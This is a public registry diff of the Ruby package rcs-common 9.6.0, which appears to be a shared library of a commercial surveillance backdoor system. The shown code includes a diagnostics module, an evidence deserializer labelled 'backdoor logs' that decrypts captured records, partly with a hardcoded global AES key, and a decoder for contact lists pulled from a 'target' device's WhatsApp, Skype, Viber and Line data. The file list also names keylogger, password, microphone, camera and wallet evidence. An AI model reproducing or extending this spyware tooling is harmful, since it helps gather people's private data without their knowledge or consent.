rcs-common 9.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,136 @@
1
+ require 'sys/filesystem'
2
+ require 'rcs-common/fixnum'
3
+
4
+ module RCS
5
+ module Diagnosticable
6
+ def execution_directory
7
+ File.expand_path(Dir.pwd)
8
+ end
9
+
10
+ def log_path
11
+ File.expand_path("./log", execution_directory)
12
+ end
13
+
14
+ def grouped_logs(glob: "#{log_path}/*", deepness: 2)
15
+ groups = Hash.new { |h, k| h[k] = [] }
16
+ regexp = /(rcs\-.+)\_\d{4}-\d{2}-\d{2}\.log|(mongo..log)/
17
+
18
+ Dir[glob].each do |path|
19
+ filename = File.basename(path)
20
+ group_name = filename.scan(regexp).flatten.compact.first
21
+ groups[group_name] << path if group_name
22
+ end
23
+
24
+ groups.keys.each do |group_name|
25
+ groups[group_name].sort! { |p1, p2| File.mtime(p2).to_i <=> File.mtime(p1).to_i }
26
+ groups[group_name] = groups[group_name][0..deepness - 1]
27
+ end
28
+
29
+ groups
30
+ end
31
+
32
+ def pretty_print(hash, out = $stdout)
33
+ string = JSON.pretty_generate(hash)
34
+ string = hide_addresses(string)
35
+ out.write(string)
36
+ out.write("\n")
37
+ end
38
+
39
+ def change_trace_level(level)
40
+ trace_yaml = "#{execution_directory}/config/trace.yaml"
41
+ raise "Unable to find file #{trace_yaml}" unless File.exists?(trace_yaml)
42
+ content = File.read(trace_yaml)
43
+ content.gsub!(/(name\s*:\s*logfile\n\s*level\s*:\s*)[A-Z]+/, '\1'+level.to_s.upcase)
44
+ File.open(trace_yaml, "wb") { |f| f.write(content) }
45
+ end
46
+
47
+ def get_version_info
48
+ version = File.read("#{execution_directory}/config/VERSION")
49
+ build = File.read("#{execution_directory}/config/VERSION_BUILD")
50
+ return version, build
51
+ end
52
+
53
+ def relevant_logs
54
+ list = grouped_logs.values + grouped_logs(glob: "#{log_path}/err/*", deepness: 7).values
55
+ list.flatten!
56
+ list
57
+ end
58
+
59
+ def windows?
60
+ RbConfig::CONFIG['host_os'] =~ /mingw/
61
+ end
62
+
63
+ def os_lang
64
+ return unless windows?
65
+ result = `reg query \"HKLM\\system\\controlset001\\control\\nls\\language\" /v Installlanguage`
66
+ result.scan(/REG_SZ\s*(.{4})/).flatten.first
67
+ end
68
+
69
+ def command_output(name)
70
+ cmd = (name =~ /rcs\-/) ? "ruby #{execution_directory}/bin/#{name}" : name
71
+ output = `#{cmd}`
72
+ "Output of command #{name}\n#{output}\n\n"
73
+ end
74
+
75
+ def config_files
76
+ paths = []
77
+ %w[VERSION VERSION_BUILD certs/*.crt certs/*.pem certs/*.key *.yaml *.lic *.crt *.pem gapi].each do |glob|
78
+ paths += Dir["#{execution_directory}/config/#{glob}"]
79
+ end
80
+ paths.flatten!
81
+ paths.uniq!
82
+ paths
83
+ end
84
+
85
+ def machine_info
86
+ hash = {}
87
+ keys = %w[build_os build_vendor build_cpu build RUBY_VERSION_NAME]
88
+ hash['rbconfig'] = RbConfig::CONFIG.reject { |key| !keys.include?(key) }
89
+ hash['os_lang'] = os_lang
90
+ hash['gem_list'] = `gem list`.split("\n")
91
+ hash['ENV'] = ENV.reject { |key| !%w[RUBY_VERSION PWD].include?(key) }
92
+
93
+ fs = Sys::Filesystem.stat(windows? ? "#{Dir.pwd[0]+":\\"}" : "/")
94
+
95
+ hash['filesystem'] = {
96
+ 'path' => fs.path,
97
+ 'size' => (fs.blocks * fs.block_size).to_s_bytes,
98
+ 'free' => (fs.blocks_free * fs.block_size).to_s_bytes,
99
+ }
100
+ hash
101
+ end
102
+
103
+ # Get the state (running, stopped, etc.) and the configuration information
104
+ # of all the Windows services that start with "RCS"
105
+ def services_state
106
+ states = ""
107
+ config = ""
108
+
109
+ `sc query state= all`.split("SERVICE_NAME:").each do |info|
110
+ name = info.scan(/\s*(.+)\n/).flatten.first
111
+
112
+ if name =~ /^rcs/i
113
+ state = info.scan(/STATE\s+:\s+\d+\s*(.+)\s*/).flatten.first
114
+ states << "#{name}: #{state}\n"
115
+ config << `sc qc #{name}`.scan(/SERVICE_NAME:\s*(.*)/m).flatten.last.to_s
116
+ end
117
+ end
118
+
119
+ return "#{states}\n#{config}"
120
+ end
121
+
122
+ def huge_log?(path)
123
+ File.size(path) > 52428800 # 50 megabytes
124
+ end
125
+
126
+ def hide_addresses(string)
127
+ if $options.respond_to?(:[]) and $options[:hide_addresses]
128
+ mask = "###.###.###.###"
129
+ string.gsub!(/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/, mask)
130
+ string.gsub!(/([a-zA-Z0-9\-\.]+)\:(4444|443|80|2701\d)/, mask+':\2')
131
+ end
132
+
133
+ string
134
+ end
135
+ end
136
+ end
@@ -0,0 +1,261 @@
1
+ #
2
+ # Evidence factory (backdoor logs)
3
+ #
4
+
5
+ # relatives
6
+ require_relative 'crypt'
7
+ require_relative 'time'
8
+ require_relative 'utf16le'
9
+ require_relative 'evidence/common'
10
+
11
+ # RCS::Common
12
+ require 'rcs-common/trace'
13
+ require 'rcs-common/crypt'
14
+ require 'rcs-common/utf16le'
15
+
16
+ # system
17
+ require 'securerandom'
18
+
19
+ Dir[File.dirname(__FILE__) + '/evidence/*.rb'].each do |file|
20
+ require file
21
+ end
22
+
23
+ module RCS
24
+
25
+ class Evidence
26
+
27
+ extend Crypt
28
+ include Crypt
29
+ include RCS::Tracer
30
+
31
+ attr_reader :binary
32
+ attr_reader :size
33
+ attr_reader :content
34
+ attr_reader :name
35
+ attr_reader :timestamp
36
+ attr_reader :info
37
+ attr_reader :version
38
+ attr_reader :type
39
+ attr_writer :info
40
+
41
+ GLOBAL_KEY = "\xab\x12\xcd\x34\xef\x56\x01\x23\x45\x67\x89\xab\xcd\xef\x00\x11"
42
+
43
+ def self.version_id
44
+ 2008121901
45
+ end
46
+
47
+ #def clone
48
+ # return Evidence.new(@key, @info)
49
+ #end
50
+
51
+ def initialize(key)
52
+ @key = key
53
+ @version = Evidence.version_id
54
+ end
55
+
56
+ def extend_on_type(type)
57
+ extend instance_eval "#{type.to_s.capitalize}Evidence"
58
+ end
59
+
60
+ def extend_on_typeid(id)
61
+ extend_on_type EVIDENCE_TYPES[id]
62
+ end
63
+
64
+ def generate_header(type_id, info)
65
+ tlow, thigh = info[:da].to_filetime
66
+ deviceid_utf16 = info[:device_id].to_utf16le_binary
67
+ userid_utf16 = info[:user_id].to_utf16le_binary
68
+ sourceid_utf16 = info[:source_id].to_utf16le_binary
69
+
70
+ add_header = ''
71
+
72
+ if respond_to?(:additional_header)
73
+ header = info.delete(:header)
74
+ add_header = header ? additional_header(header) : additional_header
75
+ end
76
+
77
+ additional_size = add_header.bytesize
78
+ struct = [Evidence.version_id, type_id, thigh, tlow, deviceid_utf16.bytesize, userid_utf16.bytesize, sourceid_utf16.bytesize, additional_size]
79
+ header = struct.pack("I*")
80
+
81
+ header += deviceid_utf16
82
+ header += userid_utf16
83
+ header += sourceid_utf16
84
+ header += add_header.to_binary
85
+
86
+ return header
87
+ end
88
+
89
+ def align_to_block_len(len)
90
+ rest = len % 16
91
+ len += (16 - rest % 16) unless rest == 0
92
+ len
93
+ end
94
+
95
+ def encrypt(data)
96
+ rest = align_to_block_len(data.bytesize) - data.bytesize
97
+ data += "a" * rest
98
+ return aes_encrypt(data, @key, PAD_NOPAD)
99
+ end
100
+
101
+ def decrypt(data)
102
+ return aes_decrypt(data, @key, PAD_NOPAD)
103
+ end
104
+
105
+ def append_data(data, len = data.bytesize)
106
+ [len].pack("I") + data
107
+ end
108
+
109
+ # factory to create a random evidence
110
+ def generate(type, common_info)
111
+ @name = SecureRandom.hex(16)
112
+ info = Hash[common_info]
113
+ info[:da] = Time.now.utc
114
+ info[:type] = type
115
+
116
+ # extend class on requested type
117
+ extend_on_type info[:type]
118
+
119
+ # header
120
+ type_id = EVIDENCE_TYPES.invert[type]
121
+ header = generate_header(type_id, info)
122
+ @binary = append_data(encrypt(header))
123
+
124
+ # content
125
+ if respond_to? :generate_content
126
+ content = info.delete(:content)
127
+ chunks = content ? generate_content(content) : generate_content
128
+ chunks.each do | c |
129
+ @binary += append_data( encrypt(c), c.bytesize )
130
+ end
131
+ end
132
+
133
+ return self
134
+ end
135
+
136
+ def size
137
+ @binary.bytesize
138
+ end
139
+
140
+ # save the file in the specified dir
141
+ def dump_to_file(dir)
142
+ # dump the file (using the @name) in the 'dir'
143
+ File.open(dir + '/' + @name, "wb") do |f|
144
+ f.write(@binary)
145
+ end
146
+ end
147
+
148
+ # load an evidence from a file
149
+ def load_from_file(file)
150
+ # load the content of the file in @content
151
+ File.open(file, "rb") do |f|
152
+ @binary = f.read
153
+ @name = File.basename f
154
+ end
155
+
156
+ return self
157
+ end
158
+
159
+ def read_uint32(data)
160
+ data.read(4).unpack("L").shift
161
+ end
162
+
163
+ def empty?(binary_string, header_length)
164
+ (binary_string.size == header_length + 4)
165
+ end
166
+
167
+ def deserialize(data)
168
+
169
+ raise EvidenceDeserializeError.new("no content!") if data.nil?
170
+ binary_string = StringIO.new data
171
+
172
+ # header
173
+ header_length = read_uint32(binary_string)
174
+
175
+ # check if we need to apply the global key (evidence is being imported)
176
+ if (header_length & 0x80000000) == 0x80000000
177
+ trace :debug, "USING GLOBAL KEY FOR EVIDENCE DECODING!"
178
+ @key = GLOBAL_KEY
179
+ header_length &= ~0x80000000
180
+ end
181
+
182
+ # if empty evidence, raise
183
+ raise EmptyEvidenceError.new("empty evidence") if empty?(binary_string, header_length)
184
+
185
+ # decrypt header
186
+ header_string = StringIO.new decrypt(binary_string.read header_length)
187
+ @version = read_uint32(header_string)
188
+ @type_id = read_uint32(header_string)
189
+ time_h = read_uint32(header_string)
190
+ time_l = read_uint32(header_string)
191
+ host_size = read_uint32(header_string)
192
+ user_size = read_uint32(header_string)
193
+ ip_size = read_uint32(header_string)
194
+ additional_size = read_uint32(header_string)
195
+
196
+ # check that version is correct
197
+ raise EvidenceDeserializeError.new("mismatching version [expected #{Evidence.version_id}, found #{@version}]") unless @version == Evidence.version_id
198
+
199
+ common_info = Hash.new
200
+ common_info[:dr] = Time.new.getgm
201
+ common_info[:da] = Time.from_filetime(time_h, time_l).getgm
202
+
203
+ common_info[:device] = header_string.read(host_size).utf16le_to_utf8 unless host_size == 0
204
+ common_info[:device] ||= ''
205
+ common_info[:user] = header_string.read(user_size).utf16le_to_utf8 unless user_size == 0
206
+ common_info[:user] ||= ''
207
+ common_info[:source] = header_string.read(ip_size).utf16le_to_utf8 unless ip_size == 0
208
+ common_info[:source] ||= ''
209
+
210
+ # extend class depending on evidence type
211
+ begin
212
+ common_info[:type] = EVIDENCE_TYPES[ @type_id ].to_s.downcase
213
+ extend_on_type common_info[:type]
214
+ rescue Exception => e
215
+ puts e.message
216
+ raise EvidenceDeserializeError.new("unknown type => #{@type_id.to_s(16)}, #{e.message}")
217
+ end
218
+
219
+ additional_data = header_string.read additional_size if additional_size > 0
220
+
221
+ yield additional_data if block_given?
222
+
223
+ # split content to chunks
224
+ chunks = Array.new
225
+ if common_info[:type] == 'command'
226
+ chunks << [binary_string.read]
227
+ else
228
+ until binary_string.eof?
229
+ len = read_uint32(binary_string)
230
+ content = binary_string.read align_to_block_len(len)
231
+
232
+ decoded_chunk = nil
233
+
234
+ begin
235
+ decoded_chunk = StringIO.new(decrypt(content)).read(len)
236
+ rescue Exception => ex
237
+ yield(chunks.join) if block_given?
238
+ raise EvidenceDeserializeError.new("Unable to decrypt chunck #{chunks.size}. Expected length is #{len}, content bytesize is #{content.bytesize}. #{ex.message}")
239
+ end
240
+
241
+ chunks << decoded_chunk
242
+ end
243
+ end
244
+
245
+ yield chunks.join if block_given?
246
+
247
+ # decode additional header
248
+ if respond_to? :decode_additional_header and additional_size != 0
249
+ additional_info = decode_additional_header(additional_data)
250
+ common_info.merge!(additional_info)
251
+ end
252
+
253
+ # decode evidence body
254
+ evidences = Array.new
255
+ action = decode_content(common_info, chunks) {|ev| evidences << ev}
256
+
257
+ return evidences, action
258
+ end
259
+ end
260
+
261
+ end # RCS::
@@ -0,0 +1,173 @@
1
+ require 'rcs-common/evidence/common'
2
+ require 'rcs-common/serializer'
3
+
4
+ module RCS
5
+
6
+ module AddressbookEvidence
7
+ def content
8
+ fields = { :first_name => ["John", "Liza", "Bruno"].sample,
9
+ :last_name => ["Doe", "Rossi", "Bianchi"].sample,
10
+ :mobile_phone_number => "+393380123456",
11
+ :home_phone_number => "+39024567890",
12
+ :email_1 => "test@me.com"}
13
+ AddressBookSerializer.new.serialize fields
14
+ end
15
+
16
+ def generate_content
17
+ [ content ]
18
+ end
19
+
20
+ def decode_content(common_info, chunks)
21
+ stream = StringIO.new chunks.join
22
+
23
+ until stream.eof?
24
+ info = Hash[common_info]
25
+ info[:data] ||= Hash.new
26
+
27
+ contact = AddressBookSerializer.new.unserialize stream
28
+
29
+ info[:data][:name] = contact.name
30
+ info[:data][:contact] = contact.contact
31
+ info[:data][:info] = contact.info
32
+ info[:data][:program] = contact.program
33
+ info[:data][:type] = contact.type
34
+ info[:data][:handles] = contact.handles unless contact.handles.empty?
35
+
36
+ yield info if block_given?
37
+ end
38
+ :delete_raw
39
+ end
40
+ end # ::AddressbookEvidence
41
+
42
+ module IaddressbookEvidence
43
+
44
+ VERSION_2 = 0x10000000
45
+ CONTACTLIST = 0x0000C021
46
+ CONTACTFILE = 0x0000C022
47
+
48
+ LOCAL_CONTACT = 0x80000000
49
+
50
+ PROGRAM_WHATSAPP = 0x00000001
51
+ PROGRAM_SKYPE = 0x00000002
52
+ PROGRAM_VIBER = 0x00000004
53
+ PROGRAM_MESSAGES = 0x00000008
54
+ PROGRAM_LINE = 0x00000010
55
+
56
+ def content
57
+ header = StringIO.new
58
+ header.write [CONTACTLIST | VERSION_2].pack('L')
59
+ header.write [0].pack('L') # len (ignored)
60
+ header.write [1].pack('L') # num records
61
+
62
+ header.write [CONTACTFILE].pack('L')
63
+ header.write [LOCAL_CONTACT].pack('L') # flags
64
+ header.write [0].pack('L') # len (ignored)
65
+
66
+ name = "FirstName".to_utf16le_binary_null
67
+ write_name(header, name)
68
+
69
+ name = "LastName".to_utf16le_binary_null
70
+ write_name(header, name)
71
+
72
+ header.write [CONTACTFILE].pack('L')
73
+ header.write [1].pack('L') # num_contacts
74
+
75
+ name = "+39123456789".to_utf16le_binary_null
76
+ write_number(header, name)
77
+
78
+ header.string
79
+ end
80
+
81
+ def generate_content
82
+ [content]
83
+ end
84
+
85
+ def decode_content(common_info, chunks)
86
+ stream = StringIO.new chunks.join
87
+
88
+ # ABLogStruct
89
+ magic_ver = read_uint32 stream
90
+ raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic_ver} != #{CONTACTLIST}]") unless magic_ver == CONTACTLIST or magic_ver == (CONTACTLIST | VERSION_2)
91
+
92
+ stream.read(4) # len, ignore
93
+ num_records = read_uint32 stream
94
+
95
+ (0..num_records-1).each do |i|
96
+
97
+ info = Hash[common_info]
98
+ info[:data] ||= Hash.new
99
+ info[:data][:program] = :phone
100
+
101
+ # ABFile
102
+ magic = read_uint32 stream
103
+ raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic} != #{CONTACTFILE}]") unless magic == CONTACTFILE
104
+ flags = read_uint32(stream) if (magic_ver & VERSION_2 != 0)
105
+
106
+ info[:data][:type] = :target if (flags & LOCAL_CONTACT != 0)
107
+ info[:data][:program] = :whatsapp if (flags & PROGRAM_WHATSAPP != 0)
108
+ info[:data][:program] = :skype if (flags & PROGRAM_SKYPE != 0)
109
+ info[:data][:program] = :viber if (flags & PROGRAM_VIBER != 0)
110
+ info[:data][:program] = :line if (flags & PROGRAM_LINE != 0)
111
+ info[:data][:program] = :messages if (flags & PROGRAM_MESSAGES != 0)
112
+
113
+ len = read_uint32 stream
114
+
115
+ #ABName (first name)
116
+ first_name = read_name(stream)
117
+
118
+ #ABName (last name)
119
+ last_name = read_name(stream)
120
+
121
+ info[:data][:name] = "#{first_name} #{last_name}"
122
+
123
+ #ABContacts
124
+ magic = read_uint32 stream
125
+ num_contacts = read_uint32 stream
126
+
127
+ (0..num_contacts-1).each do |i|
128
+ type, number = read_number(stream)
129
+ case type
130
+ when 0
131
+ info[:data][:info] ||= number.delete(' ')
132
+ info[:data][:handle] = number.delete(' ')
133
+ else
134
+ info[:data][:info] += "#{number}\n"
135
+ end
136
+ end
137
+
138
+ trace :debug, "IADDRESSBOOK #{info[:data]}"
139
+
140
+ yield info if block_given?
141
+ end
142
+
143
+ :keep_raw
144
+ end
145
+
146
+ def read_name(stream)
147
+ magic = read_uint32 stream
148
+ len = read_uint32 stream
149
+ stream.read(len).utf16le_to_utf8
150
+ end
151
+
152
+ def write_name(stream, name)
153
+ stream.write [CONTACTFILE].pack('L')
154
+ stream.write [name.bytesize].pack('L')
155
+ stream.write name
156
+ end
157
+
158
+ def read_number(stream)
159
+ magic = read_uint32 stream
160
+ type = read_uint32 stream
161
+ name = read_name(stream)
162
+ return type, name
163
+ end
164
+
165
+ def write_number(stream, number)
166
+ stream.write [CONTACTFILE].pack('L')
167
+ stream.write [0].pack('L') # type
168
+ write_name(stream, number)
169
+ end
170
+
171
+ end # ::IAddressbookEvidence
172
+
173
+ end # ::RCS